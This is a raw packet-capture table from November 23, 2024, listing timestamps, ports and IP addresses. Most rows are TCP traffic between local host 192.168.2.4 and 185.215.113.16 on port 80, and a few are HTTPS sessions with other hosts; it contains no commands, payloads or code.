Nov 23, 2024 18:22:21.158770084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.158772945 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.158818960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.159430981 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.159534931 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.159574986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.160161018 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.160212040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.160259962 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.160309076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.160898924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.160963058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.160998106 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.161042929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.161628008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.161678076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.161724091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.161761045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.162352085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.162451982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.162506104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.163094997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.163145065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.163228989 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.163281918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.163822889 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.163937092 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.163990021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.164575100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.164596081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.164623976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.164640903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.165338993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.165417910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.165474892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.166058064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.166106939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.166136026 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.166184902 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.166826963 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.166877985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.166949987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.167045116 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.167993069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.168124914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.168173075 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.168585062 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.168631077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.168632984 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.168683052 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.169028044 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.169078112 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.169111013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.169158936 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.169687033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.169735909 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.169873953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.169934034 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.192759991 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.195889950 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.195935011 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.196358919 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.196371078 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.287684917 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.287702084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.287763119 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.287852049 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.287904978 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.288017988 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.288616896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.288645983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.288666010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.288697004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.289313078 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.291402102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.329560041 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:21.329665899 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:21.334125042 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:21.334141970 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:21.334542990 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:21.335736990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.335757971 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.335814953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.335843086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.336014032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.336270094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.336316109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.336344957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.336385965 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.336994886 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.337048054 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.337130070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.337636948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.337707043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.337738991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.337811947 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.338360071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.338434935 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.338534117 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.339106083 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.339155912 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.339224100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.339270115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.339862108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.339978933 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.340044022 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.340574026 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.340629101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.340675116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.340718031 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.341273069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.341330051 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.341428995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.341474056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.342057943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.342111111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.342185020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.342233896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.342860937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.342915058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.342957020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.343000889 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.343595028 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.343651056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.343682051 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.343693018 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:21.343872070 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:21.343877077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.343903065 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:21.343960047 CET	49785	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:21.343969107 CET	443	49785	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:21.344208956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.344260931 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.344331980 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.344374895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.344970942 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.345079899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.345140934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.345676899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.345732927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.345835924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.345881939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.346416950 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.346468925 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.346527100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.346574068 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.347135067 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.347186089 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.347258091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.347302914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.347862959 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.347927094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.347995043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.348612070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.348663092 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.348717928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.348771095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.349338055 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.349381924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.349387884 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.349426985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.350056887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.350102901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.350173950 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.350235939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.350835085 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.350888014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.351001978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.351048946 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.351603985 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.351650000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.351660013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.351701975 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.352328062 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.352422953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.352468014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.353013992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.353060961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.353142977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.353193045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.353732109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.353776932 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.353837013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.353880882 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.354471922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.354526043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.354589939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.354634047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.355186939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.355243921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.355299950 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.355344057 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.355957031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.356028080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.356103897 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.356750011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.356811047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.356825113 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.356878996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.357383013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.357436895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.357491016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.357534885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.358095884 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.358146906 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.358215094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.358258963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.358850956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.358906984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.358982086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.359036922 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.359572887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.359620094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.359694004 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.359744072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.360342026 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.360475063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.360524893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.361028910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.361085892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.361148119 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.361193895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.361757040 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.361799955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.362622976 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.362677097 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.362962008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.362983942 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.363013029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.363029003 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.363456011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.363560915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.363605976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.364180088 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.364202023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.364253044 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.364701033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.364752054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.364806890 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.364860058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.365433931 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.365493059 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.365528107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.365575075 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.366141081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.366200924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.366236925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.366286039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.366890907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.366950989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.366981030 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.367022991 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.367609978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.367706060 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.367782116 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.368457079 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.368513107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.368685961 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.368746042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.369507074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.369560003 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.369568110 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.369613886 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.370203972 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.370223999 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.370287895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.370709896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.370778084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.370884895 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.371252060 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.371309042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.371345043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.371392965 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.388817072 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.389014959 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.389117956 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.401854038 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.411807060 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.438679934 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.438724041 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.438743114 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.438750982 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.440126896 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.440145016 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.442236900 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.442243099 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.447724104 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.447745085 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.448106050 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.448112011 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.489072084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489108086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489160061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.489190102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489197016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.489375114 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489423037 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.489749908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489798069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.489857912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.489902020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.490485907 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.490528107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.490530014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.490565062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.537484884 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.537520885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.537589073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.537692070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.537738085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.537808895 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.537851095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.538439035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.538485050 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.538527012 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.538568020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.539169073 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.539212942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.539263964 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.539305925 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.539890051 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.539954901 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.539999008 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.540591002 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.540638924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.540700912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.540750027 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.541331053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.541367054 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.541373014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.541409016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.542051077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.542093992 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.542164087 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.542208910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.542800903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.542844057 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.542912960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.542956114 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.543581009 CET	80	49779	185.215.113.16	192.168.2.4
